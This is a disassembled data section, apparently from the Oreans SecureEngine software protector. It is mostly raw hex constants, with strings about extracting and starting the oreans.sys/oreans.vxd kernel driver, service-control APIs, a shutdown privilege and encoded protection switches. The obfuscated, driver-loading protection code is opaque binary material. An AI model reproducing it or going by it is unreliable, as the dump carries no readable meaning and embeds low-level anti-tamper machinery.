		dd 0BD8B0629h, 6291241h, 0BA66D88Bh, 0B70FC644h, 0F574BC8h
		dd 87h,	89585F00h, 29244195h, 5985C606h, 4306291Bh, 5BD8B51h
		dd 5F06290Ah, 9AA24668h, 81F18AB5h, 0E8E12434h,	0B58975ECh
		dd 6292741h
		dd 2639B5FFh, 6A0629h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 413F4DC3h, 0E9EB9060h, 9, 0D512A2EEh
		dd 76430E8Eh, 72858D16h, 6006293Bh, 0EF25EFBAh,	14E922h
		dd 28F0000h, 0EEC8E727h, 0B5EC866Eh, 0CF5B1ECCh, 42F5EA27h
		dd 0FF61F1ECh, 53006AD0h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 3B4A3F70h, 8B0BEE8Fh
		dd 2910BD8Dh, 0B5519306h, 93505AC7h, 4ED5B966h,	9D8DD0FFh
		dd 6296FFBh, 17898589h,	1B80629h, 81000000h, 460C2D6h
		dd 45858929h, 0FF06291Bh, 10E9E3h, 1AAA0000h, 23DA2F8Ah
		dd 575DE391h, 58B09276h, 0C18B70F4h, 5840Fh, 19BF0000h
		dd 8B2A34C7h, 13E9C0h, 0A07D0000h, 0B64F02A7h, 68A796A1h
		dd 0D582AF4Bh, 4560BCBEh, 0D6B70FCCh, 309DBD83h, 75000629h
		dd 75BD8309h, 62900h, 53501974h, 0FB8C08Bh, 89000004h
		dd 290DA185h, 99D8D06h,	0FF062BABh, 83585BD3h, 290075BDh
		dd 17740006h, 0FB85350h, 89000004h, 290DA185h, 0AA9D8D06h
		dd 0FF062BA7h, 8B585BD3h, 2925CD8Dh, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0C96EBB0Ch
		dd 89F7B70Fh, 29297D85h, 0E8C08B06h, 0Ah, 0DAEE5CB9h, 69B9E89Ch
		dd 895F4BE9h, 29286D9Dh, 42C78106h, 68000063h, 18A0h, 58F7BF0Fh
		dd 0AE9h, 94207600h, 0C74650FDh, 0FF46196Dh, 958D8937h
		dd 59062912h, 0DDBD8B60h, 6606292Dh, 0C601C681h, 52F18161h
		dd 661CD12Fh, 8174EDBEh, 0BC7897F1h, 81D18B4Ch,	6AD44AF1h
		dd 0E5B58935h, 51062903h, 23519D89h, 78F0629h, 301DBD29h
		dd 0EF810629h, 1664008Eh, 31019D89h, 0C7810629h, 1664008Ah
		dd 484BE680h, 1A850Fh, 81600000h, 74ADB8C7h, 0F8BF0F3Bh
		dd 28E961h, 1B1A0000h, 0E933DA2h, 2FD394EEh, 7E9h, 0B1D03500h
		dd 6DEA4F06h, 0FFFF76E9h, 0D60C30FFh, 0E3AEBC0Ch, 0FE38BFD0h
		dd 99E9E380h, 2F000000h, 63677562h, 6B636568h, 622F0032h
		dd 68636775h, 6B6365h, 726F662Fh, 75726563h, 622F006Eh
		dd 68636775h, 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h
		dd 732F0065h, 63776F68h, 3265646Fh, 6C632F00h, 2F007472h
		dd 31736964h, 68732F00h, 6E69776Fh, 6E617473h, 2F006563h
		dd 77746567h, 6174736Ch, 737574h, 676F6C2Fh, 74617473h
		dd 2F007375h, 706D7564h, 74617473h, 7375h, 2F000000h, 63656863h
		dd 6F72706Bh, 74636574h, 6E6F69h, 0
		dd 0B503BD83h, 0F00062Bh, 0A84h, 7585C700h, 1062900h, 0C6000000h
		dd 291B5985h, 8B684706h, 81CD4A23h, 4F062434h, 0B5FF5D27h
		dd 6292639h, 3B72858Dh,	0D0FF0629h, 0F88BD0FFh,	0F223F80h
		dd 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh, 840F003Fh
		dd 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h, 840F003Fh
		dd 303h, 0F203F80h, 685h, 6E94700h, 47000000h, 0FFFFE2E9h
		dd 3F80FFh, 5850Fh, 0E0E90000h,	0E9000002h, 1, 203F8047h
		dd 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h,	2C3h, 0AE8h
		dd 0FFCBE900h, 0B4E9FFFFh, 8D000002h, 2BB483B5h, 225E806h
		dd 0BD030000h, 62BB518h, 0B518BD83h, 0F00062Bh,	0B84h
		dd 9D85C700h, 1062930h,	0C3000000h, 0B48EB58Dh,	0FCE8062Bh
		dd 3000001h, 2BB518BDh,	18BD8306h, 62BB5h, 0B840Fh, 85C70000h
		dd 6290075h, 1,	7B58DC3h, 0E8062BB5h, 1D3h, 0B518BD03h
		dd 0BD83062Bh, 62BB518h, 0B840F00h, 0C7000000h,	2923E185h
		dd 106h, 0B58DC300h, 62BB498h, 1AAE8h, 18BD0300h, 83062BB5h
		dd 2BB518BDh, 840F0006h, 0Bh, 7585C7h, 10629h, 8DC30000h
		dd 2BB4A2B5h, 181E806h,	0BD030000h, 62BB518h, 0B518BD83h
		dd 0F00062Bh, 1584h, 7585C700h,	1062900h, 0C7000000h, 29309D85h
		dd 106h, 0B58DC300h, 62BB4B0h, 14EE8h, 18BD0300h, 83062BB5h
		dd 2BB518BDh, 840F0006h, 0Ah, 0FD185C7h, 10629h, 0B58D0000h
		dd 62BB4BAh, 126E8h, 18BD0300h,	83062BB5h, 2BB518BDh, 840F0006h
		dd 0Ah,	0FD185C7h, 10629h, 0B58D0000h, 62BB4C5h, 0FEE8h
		dd 18BD0300h, 83062BB5h, 2BB518BDh, 840F0006h, 0Ah, 16C585C7h
		dd 10629h, 0B58D0000h, 62BB4CBh, 0D6E8h, 18BD0300h, 83062BB5h
		dd 2BB518BDh, 840F0006h, 0Ah, 261985C7h, 10629h, 0B58D0000h
		dd 62BB4D1h, 0AEE8h, 18BD0300h,	83062BB5h, 2BB518BDh, 840F0006h
		dd 0Ah,	325185C7h, 10629h, 0B58D0000h, 62BB4DFh, 86E8h
		dd 18BD0300h, 83062BB5h, 2BB518BDh, 840F0006h, 0Ah, 14D585C7h
		dd 10629h, 0B58D0000h, 62BB4ECh, 5EE8h,	18BD0300h, 83062BB5h
		dd 2BB518BDh, 840F0006h, 0Ah, 140585C7h, 10629h, 0B58D0000h
		dd 62BB4F7h, 36E8h, 18BD0300h, 83062BB5h, 2BB518BDh, 840F0006h
		dd 0Ah,	93985C7h, 10629h, 1E90000h, 47000000h, 0F203F80h
		dd 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh, 1B9h, 0E9DE8B00h
		dd 1Ch,	0F003F80h, 285h, 8AC92B00h, 0F163817h, 584h, 0B900h
		dd 47460000h, 0F003E80h, 884h, 0FC90B00h, 0FFFFD385h, 0FC90BFFh
		dd 2184h, 3F8000h, 9840Fh, 3F800000h, 0A850F20h, 0B9000000h
		dd 1, 5E9h, 0B900h, 0C90B0000h,	0D840Fh, 0F32B0000h, 0B518B589h
		dd 0AE9062Bh, 0C7000000h, 2BB51885h, 6,	0B8C36100h, 0
		dd 840FC00Bh, 0Ah, 0FD185C7h, 629h, 0C88B0000h,	20EE9h
		dd 61433300h, 746F6E6Eh, 69727720h, 6F206574h, 6E616572h
		dd 78762E73h, 4D0D0A64h, 20656B61h, 65727573h, 61687420h
		dd 68742074h, 66207369h, 20656C69h, 6E207369h, 6220746Fh
		dd 676E6965h, 65737520h, 79622064h, 6F6E6120h, 72656874h
		dd 6F727020h, 6D617267h, 2Eh, 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 1B5985C6h,	68470629h, 0E3E45B86h
		dd 2639B5FFh, 858D0629h, 6293B72h, 468D0FFh, 8D000001h
		dd 2918C19Dh, 0D0FF5306h, 0A5B58D50h, 8B062BBAh, 0AEC032FEh
		dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 5985C6A4h
		dd 4306291Bh, 8E6EFC68h, 39B5FFBCh, 8D062926h, 293B7285h
		dd 8DD0FF06h, 2918C1B5h, 68006A06h, 80h, 6A026Ah, 68006Ah
		dd 56C00000h, 0D88BD0FFh, 1B5985C6h, 68570629h,	0A69BEE56h
		dd 2639B5FFh, 858D0629h, 6293B72h, 0BD8DD0FFh, 62930F9h
		dd 0BBCB8D8Dh, 6A062Bh,	37D06857h, 53510000h, 0C085D0FFh
		dd 1B850Fh, 0B58D0000h,	62BB8ADh, 0A473858Dh, 0D0FF062Bh
		dd 6FFB8D8Dh, 0B80629h,	0FF000000h, 5985C6E1h, 4306291Bh
		dd 764AA768h, 39B5FFC0h, 8D062926h, 293B7285h, 53D0FF06h
		dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h,	0E908890Eh, 2
		dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E9000000h, 10B7h, 41564441h, 32334950h
		dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
		dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
		dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
		dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
		dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
		dd 65536C6Fh, 63697672h, 65h, 7	dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 4
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 4
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 10h
		dd 0D9h	dup(0)
a_Oreans_vxd	db '\\.\Oreans.vxd',0
		align 4
		dd 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0	db 'SeShutdownPrivilege',0
		dd 0
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseservice_0	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		align 10h
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 21h dup(0)
		dd 666F5300h, 72617774h, 69575C65h, 8B00656Eh, 29CE8BC4h
		dd 29277995h, 0C5858906h, 8106291Ah, 2C08DEF2h,	9C08B56h
		dd 292891B5h, 9DBD8306h, 62930h, 0BD830975h, 6290075h
		dd 50197400h, 0B8C08B53h, 43Dh,	31058589h, 9D8D0629h, 62BAAA2h
		dd 585BD3FFh, 75BD83h, 74000629h, 0B8535017h, 43Dh, 31058589h
		dd 9D8D0629h, 62BA791h,	585BD3FFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0E3C35040h,	30DC514Dh, 0E926B1F0h
		dd 8, 25C2DABh,	0B1E75626h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 69BEF8C3h
		dd 0C08B6E70h, 13E8h, 212EAB00h, 6417038Ch, 1720AF19h
		dd 0D6C09A3Bh, 706C0598h, 835FCF8Bh, 29309DBDh,	9750006h
		dd 75BD83h, 74000629h, 8B535013h, 0B8C0h, 9D8D0000h, 62BA944h
		dd 585BD3FFh, 75BD83h, 74000629h, 0B8535011h, 0
		dd 0A7F59D8Dh, 0D3FF062Bh, 0FE9585Bh, 34000000h, 90797980h
		dd 0D763796Ah, 0A4AE77BAh, 6AB2D9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0EFF485C3h
		dd 1840F2Ah, 0F9000000h, 0BD33C08Bh, 6290E89h, 0BF0FC08Bh
		dd 9DBD83CAh, 62930h, 0BD830975h, 6290075h, 50137400h
		dd 0B8C08B53h, 0
		dd 0A8769D8Dh, 0D3FF062Bh, 0BD83585Bh, 6290075h, 50117400h
		dd 0B853h, 9D8D0000h, 62BA7C3h,	585BD3FFh, 0AE8h, 0D707FD00h
		dd 242C214Eh, 664B32C4h, 0F5FF88Bh, 0C08BFEB7h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 73C35040h, 56F2633Eh
		dd 8B66D2CBh, 0E8C08BCFh, 14h, 9B656A04h, 3768A315h, 80986B67h
		dd 7C39E4FDh, 22BA08FDh, 12E9h,	2AF3FE00h, 0C0B9A123h
		dd 8405C0FFh, 31ACBB5Ah, 5ADC1879h, 309DBD83h, 75000629h
		dd 75BD8309h, 62900h, 53501374h, 0B8C08Bh, 8D000000h, 2BA8DD9Dh
		dd 5BD3FF06h, 75BD8358h, 62900h, 53501174h, 0B8h, 0DC9D8D00h
		dd 0FF062BA7h, 0B9585BD3h, 1A1BF62Fh, 1DF1BD33h, 0C08B0629h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8EC35040h
		dd 564C3747h, 653B587Dh, 10E9h,	7C4E1800h, 8EEDA308h, 0ADE8D016h
		dd 0F2CEA99Dh, 89C08B13h, 292E518Dh, 9DBD8306h,	62930h
		dd 0BD830975h, 6290075h, 50137400h, 0B8C08B53h,	0
		dd 0A80F9D8Dh, 0D3FF062Bh, 0F60585Bh, 87h, 31958900h, 6106291Fh
		dd 78D849B9h, 0FC08B66h, 685h, 81958900h, 8B06291Bh, 0B70FF9C0h
		dd 9DBD83CFh, 62930h, 0BD830975h, 6290075h, 50197400h
		dd 0B8C08B53h, 7D0h, 31058589h,	9D8D0629h, 62BAAA2h, 585BD3FFh
		dd 75BD83h, 74000629h, 0B8535017h, 7D0h, 31058589h, 9D8D0629h
		dd 62BA791h, 585BD3FFh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0C35545h, 0D098D0Bh, 6A0629h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 23DB03C3h, 0C08B6260h, 85C6D38Ah, 6291B59h, 9D295353h
		dd 62907B9h, 5F906859h,	0BF0F9939h, 39B5FFD3h, 6A062926h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 6D7EC352h, 858D9FCAh, 6293B72h, 0D2D78166h
		dd 0B9D0FF1Ah, 7A88A25h, 31E98589h, 6A0629h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 9D46F6C3h
		dd 0DA8FE7F4h, 0E88D4503h, 14h,	0A631433Fh, 0BE276309h
		dd 212EAB9Eh, 6417038Ch, 1720AF19h, 2E098D8Bh, 535A0629h
		dd 9359D89h, 0C6590629h, 291B5985h, 0B55706h, 4520668h
		dd 0E7816690h, 8B660A22h, 39B5FFFBh, 3062926h, 292595BDh
		dd 72858D06h, 8B06293Bh, 2923F5BDh, 81D0FF06h, 71DBC2EFh
		dd 55858912h, 89062927h, 290AC1B5h, 11E58006h, 1B5985C6h
		dd 0B9430629h, 6726571Ah, 90702868h, 0B5FFF9BCh, 6292639h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 31C35040h
		dd 872EA52h, 0E751A649h, 319503C2h, 0E906290Dh,	0Ah, 0BC9ABF62h
		dd 713CFEBCh, 858D6C71h, 6293B72h, 198D89h, 12E90629h
		dd 57000000h, 0CF97CD96h, 0E379EAA3h, 529F4505h, 3554C198h
		dd 1D0FF52h, 290A5185h,	0D1BD8B06h, 89062904h, 292A7585h
		dd 0D0BF0F06h, 1B5985C6h, 0F4C0629h, 188h, 0AE9FC00h, 23000000h
		dd 545175CAh, 0D47DBAC5h, 1CE96853h, 6650D9DAh,	5A44D8BAh
		dd 2639B5FFh, 0CE8A0629h, 3B72858Dh, 0E1800629h, 0F9D0FFCAh
		dd 14E18589h, 91B10629h, 0FE9h,	7B4F1D00h, 0E66B653Ah
		dd 3F3210BAh, 4D512C1Ch, 1B5985C6h, 8B460629h, 290DF98Dh
		dd 6146806h, 8501BADEh,	6292CA5h, 2639B5FFh, 9E90629h
		dd 2F000000h, 0D9086294h, 4D751E1Eh, 3B72858Dh,	6A0629h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 4EE81BC3h, 0CC88268Ch, 1BAD8D89h, 0D0FF0629h, 0FFAB70Fh
		dd 383h, 0F9BF0F00h, 353D8589h,	0BD8B0629h, 62903F1h, 1B5985C6h
		dd 0E9470629h, 6, 0AB425A55h, 0E268A412h, 6A8A0FB5h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 881EC352h, 7BB53CD4h, 1135BD8Bh, 0B5FF0629h,	6292639h
		dd 19F19509h, 858D0629h, 6293B72h, 17C5BD8Bh, 0D0FF0629h
		dd 0FE9h, 0E6B83500h, 5FF120F9h, 277B3A09h, 477C9B86h
		dd 20158589h, 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8A0F74C3h, 6, 1591BD8Bh,	85C60629h
		dd 6291B59h, 8C0F47h, 68000000h, 83D0B5F3h, 7DBAB966h
		dd 4DB53156h, 5F062931h, 2639B5FFh, 95030629h, 6290E71h
		dd 3B72858Dh, 0FFC0629h, 83h, 8BD0FF00h, 2919F195h, 0BD858906h
		dd 6A062900h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 7CE4C353h, 0BA0BFCFEh,	0F0BA6643h
		dd 5985C68Ch, 7706291Bh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 24C35747h, 83019BF1h,	81C79DABh, 6D32FBCAh
		dd 7DE98155h, 685F1115h, 0F397A8A3h, 2AE58D29h,	0B5FF0629h
		dd 6291875h, 858DF38Ah,	6293B72h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0F6C35646h,	601F745Eh, 5A45B750h
		dd 5E9h, 8ED1CD00h, 0FF61DFD2h,	0ED8589D0h, 6A06291Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 8CBC355h,	0C6D78B28h, 291B5985h, 0B9664706h
		dd 0F6686F20h, 608728FAh, 2D399D8Bh, 958B0629h,	62909D5h
		dd 39B5FF61h, 53062926h, 72858D5Ah, 8906293Bh, 2932CDBDh
		dd 66D0FF06h, 8589FB8Bh, 6291861h, 7A98509h, 85C60629h
		dd 6291B59h, 0D953143h,	68062911h, 0BC8E6EFCh, 0E67D19BFh
		dd 39B5FF24h, 23062926h, 292DF195h, 72858D06h, 306293Bh
		dd 291EE9BDh, 8AD0FF06h, 0E98589EFh, 0B062905h,	29160995h
		dd 5985C606h, 4506291Bh, 79D9D89h, 69680629h, 0F98E7269h
		dd 2639B5FFh, 950B0629h, 62927E9h, 3B72858Dh, 6A0629h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0E7BBF3C3h, 7A36679Ch, 0FD958B69h, 89062930h, 29107185h
		dd 66D0FF06h, 899EFABAh, 2923ED85h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 81897104h
		dd 1A275DE2h, 5985C668h, 4406291Bh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 83C35343h, 43C16182h, 0A958589h
		dd 64680629h, 60B8F2ECh, 3111BD89h, 8A0F0629h, 6, 2DE59509h
		dd 0FC610629h, 2639B5FFh, 6A0629h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 4FE734C3h, 3A4C3C5h
		dd 292DB9BDh, 72858D06h, 6A06293Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 9C3AC355h
		dd 0F9B70F48h, 5659D89h, 0D0FF0629h, 10E8h, 0DE342800h
		dd 46C620F8h, 3C40226Dh, 0F28597D3h, 2FCF81D8h,	5F48B96Bh
		dd 16058589h, 0F500629h, 0C659D6BFh, 291B5985h,	6A4306h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 68CA09C3h, 0C0764AA7h, 88D2BA66h, 2639B5FFh,	6A0629h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 668991C3h, 2177A38Ah, 8D856DBBh, 293B7285h, 0FB8B6606h
		dd 0BD89D0FFh, 6290A4Dh, 6058589h, 950B0629h, 6292B25h
		dd 0FF8EBD80h, 0F00062Bh, 8B84h, 858DF500h, 62BFF70h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 90C35646h, 4CA7EA29h
		dd 6A50C826h, 0E2816601h, 6A786Fh, 28C58D8Bh, 6A0629h
		dd 0D299589h, 95FF0629h, 6292A75h, 29B1BD8Bh, 85890629h
		dd 629180Dh, 0AE9h, 0FD9B8D00h,	9CA592DDh, 6A49CFBDh, 6880FFFh
		dd 89000000h, 29201195h, 0A5BD8906h, 0FF062911h, 29180DB5h
		dd 0CEB70F06h, 275595FFh, 8D8B0629h, 6291F45h, 0DFB5C08Bh
		dd 309DBD83h, 75000629h, 75BD8309h, 62900h, 53501974h
		dd 0D1B8C08Bh, 89000007h, 29310585h, 0A29D8D06h, 0FF062BAAh
		dd 83585BD3h, 290075BDh, 17740006h, 0D1B85350h,	89000007h
		dd 29310585h, 919D8D06h, 0FF062BA7h, 3585BD3h, 293151BDh
		dd 0D68B6606h, 68E0Fh, 85090000h, 62906C9h, 0BE8C08Bh
		dd 27000000h, 0B3E8465Bh, 8CC5FEF7h, 81502667h
		dd 0C2974BF7h, 0C65F5917h, 291B5985h, 6A4706h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0CA6F6BC3h, 26359589h, 0CF810629h, 756FE786h, 0C8F7C168h
		dd 519D2993h, 0FF062911h, 292639B5h, 4BB96606h,	72858D30h
		dd 8906293Bh, 29120DB5h, 15D18006h, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 45477CC3h
		dd 0ACADB1D9h, 81ACCC43h, 45D2AFF7h, 0BE8F50Bh,	85000000h
		dd 49C6ED0Bh, 0E07272A4h, 830F41AAh, 6,	845B589h, 505F0629h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1C35545h
		dd 7048E217h, 5E2BE477h, 858DF597h, 62C03B1h, 0BE9h, 53557000h
		dd 93E758C9h, 0EA084D78h, 5A98D8Bh, 0C70629h, 94h, 58CA8B66h
		dd 1AC18D29h, 0B58D0629h, 62C03B1h, 8D39BF66h, 0F7F18166h
		dd 0CA8A5636h, 0B656D0FFh, 0BD895A48h, 629141Dh, 3B1858Dh
		dd 6A062Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 877FB4C3h, 7E9h, 924BCD00h, 260AC873h, 83CFB70Fh
		dd 0F060478h, 4085h, 0C5BD8900h, 0E8062907h, 10h, 67489FBBh
		dd 48D63052h, 8EB1E864h, 414DD3F2h, 4585C75Ah, 1062C04h
		dd 0E8000000h, 0Eh, 3298DD53h, 7B2C1EB7h, 73F8D721h, 0DA81C8AEh
		dd 67A4B84Fh, 61BD835Fh, 62926h, 9F850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 9C5013C3h, 644A4E7Eh, 81A087E2h, 0B4A0C7E1h,	89958B1Ch
		dd 8306291Bh, 2C0445BDh, 850F0006h, 61h, 1645B509h, 0BD890629h
		dd 62928A5h, 2DEDBD83h,	0F000629h, 4884h, 14E900h, 4E790000h
		dd 291609D3h, 8DE48120h, 0F676E3D4h, 22884CB1h,	85C7EBCDh
		dd 62905ADh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 56C35040h
		dd 34F951Ch, 762ABC28h,	0DB8C666Fh, 8D1BD89h, 8B0F0629h
		dd 6, 31F18D89h, 0C3F60629h, 73840F04h,	29000005h, 2910799Dh
		dd 2985C706h, 6291Ah, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0FF1DC356h,	0E9F4AE47h
		dd 7, 0EF39895Ah, 80A99BD9h, 2BFF9BBDh,	850F0006h, 7, 9DB589F9h
		dd 0C606292Ch, 291B5985h, 958B4706h, 62908F5h, 0E45B8668h
		dd 55BD8BE3h, 0FF062917h, 292639B5h, 8DD68B06h,	293B7285h
		dd 8E906h, 40750000h, 4EC84789h, 0D0FF0B2Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F8C35747h, 104683Bh
		dd 0BD8B0000h, 62903E5h, 18C19D8Dh, 0BA660629h,	0F53A77Dh
		dd 586h, 0D9816600h, 0D0FF0357h, 8DD7B70Fh, 2918C185h
		dd 8DBD8906h, 50062905h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 80C35040h, 8D5961AAh,	2BFF4D85h, 8B665606h
		dd 6A505FCFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0D661C353h, 1AB1BD0Bh,	858D0629h
		dd 62BF620h, 0E1858952h, 59062904h, 1F2D8D23h, 31500629h
		dd 29181985h, 0ED95FF06h, 6A06291Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0C5CFC357h
		dd 68417743h, 61C03B55h, 0BE9h,	0B82E1000h, 2B6499B9h
		dd 3710A5DEh, 6A0CC483h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 4C8FC355h, 0FEDDF10Eh
